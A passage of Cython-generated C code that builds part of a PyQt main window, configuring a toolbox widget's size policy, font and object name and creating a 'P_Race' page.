= 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_9}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 633, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 633, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_3, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 633, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":634 * self.toolBox = QtWidgets.QToolBox(self.T_Race) * self.toolBox.setGeometry(QtCore.QRect(0, 0, 821, 531)) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Maximum) # <<<<<<<<<<<<<< * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) */ __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 634, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 634, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 634, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 634, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_Maximum); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 634, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 634, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 634, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Maximum); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 634, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_1, __pyx_t_9}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 634, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_t_1, __pyx_t_9}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 634, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_7 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 634, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0+__pyx_t_8, __pyx_t_1); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_7, 1+__pyx_t_8, __pyx_t_9); __pyx_t_1 = 0; __pyx_t_9 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_7, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 634, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF_SET(__pyx_v_sizePolicy, __pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":635 * self.toolBox.setGeometry(QtCore.QRect(0, 0, 821, 531)) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Maximum) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.toolBox.sizePolicy().hasHeightForWidth()) */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHorizontalStretch); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 635, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__406, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 635, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":636 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Maximum, QtWidgets.QSizePolicy.Maximum) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.toolBox.sizePolicy().hasHeightForWidth()) * self.toolBox.setSizePolicy(sizePolicy) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setVerticalStretch); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 636, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__407, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 636, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":637 * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.toolBox.sizePolicy().hasHeightForWidth()) # <<<<<<<<<<<<<< * self.toolBox.setSizePolicy(sizePolicy) * font = QtGui.QFont() */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHeightForWidth); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 637, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 637, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_sizePolicy); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 637, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_1) { __pyx_t_9 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 637, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_9 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 637, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_hasHeightForWidth); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 637, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_9) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 637, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_7 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 637, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 637, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_7}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 637, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_7}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 637, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_9 = PyTuple_New(1+1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 637, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_9, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 637, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":638 * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.toolBox.sizePolicy().hasHeightForWidth()) * self.toolBox.setSizePolicy(sizePolicy) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setPointSize(8) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 638, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setSizePolicy); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 638, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_3) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_v_sizePolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 638, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_sizePolicy}; __pyx_t_6 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 638, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_v_sizePolicy}; __pyx_t_6 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 638, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_6); } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 638, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_INCREF(__pyx_v_sizePolicy); __Pyx_GIVEREF(__pyx_v_sizePolicy); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_v_sizePolicy); __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_7, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 638, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":639 * sizePolicy.setHeightForWidth(self.toolBox.sizePolicy().hasHeightForWidth()) * self.toolBox.setSizePolicy(sizePolicy) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setPointSize(8) * self.toolBox.setFont(font) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 639, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFont); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 639, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_9) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 639, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 639, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_6); __pyx_t_6 = 0; /* "Ui_MainWindow.py":640 * self.toolBox.setSizePolicy(sizePolicy) * font = QtGui.QFont() * font.setPointSize(8) # <<<<<<<<<<<<<< * self.toolBox.setFont(font) * self.toolBox.setToolTip("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setPointSize); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 640, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__408, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 640, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":641 * font = QtGui.QFont() * font.setPointSize(8) * self.toolBox.setFont(font) # <<<<<<<<<<<<<< * self.toolBox.setToolTip("") * self.toolBox.setStatusTip("") */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 641, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_setFont); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 641, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_v_font); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 641, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_font}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 641, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_font}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 641, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 641, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_v_font); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 641, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":642 * font.setPointSize(8) * self.toolBox.setFont(font) * self.toolBox.setToolTip("") # <<<<<<<<<<<<<< * self.toolBox.setStatusTip("") * self.toolBox.setAccessibleName("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 642, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 642, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__409, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 642, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":643 * self.toolBox.setFont(font) * self.toolBox.setToolTip("") * self.toolBox.setStatusTip("") # <<<<<<<<<<<<<< * self.toolBox.setAccessibleName("") * self.toolBox.setAccessibleDescription("") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 643, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 643, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__410, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 643, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":644 * self.toolBox.setToolTip("") * self.toolBox.setStatusTip("") * self.toolBox.setAccessibleName("") # <<<<<<<<<<<<<< * self.toolBox.setAccessibleDescription("") * self.toolBox.setObjectName("toolBox") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 644, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 644, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__411, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 644, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":645 * self.toolBox.setStatusTip("") * self.toolBox.setAccessibleName("") * self.toolBox.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.toolBox.setObjectName("toolBox") * self.P_Race = QtWidgets.QWidget() */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 645, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 645, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__412, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 645, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":646 * self.toolBox.setAccessibleName("") * self.toolBox.setAccessibleDescription("") * self.toolBox.setObjectName("toolBox") # <<<<<<<<<<<<<< * self.P_Race = QtWidgets.QWidget() * self.P_Race.setGeometry(QtCore.QRect(0, 0, 821, 477)) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_toolBox); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 646, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 646, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_tuple__413, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 646, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":647 * self.toolBox.setAccessibleDescription("") * self.toolBox.setObjectName("toolBox") * self.P_Race = QtWidgets.QWidget() # <<<<<<<<<<<<<< * self.P_Race.setGeometry(QtCore.QRect(0, 0, 821, 477)) * sizePolicy = 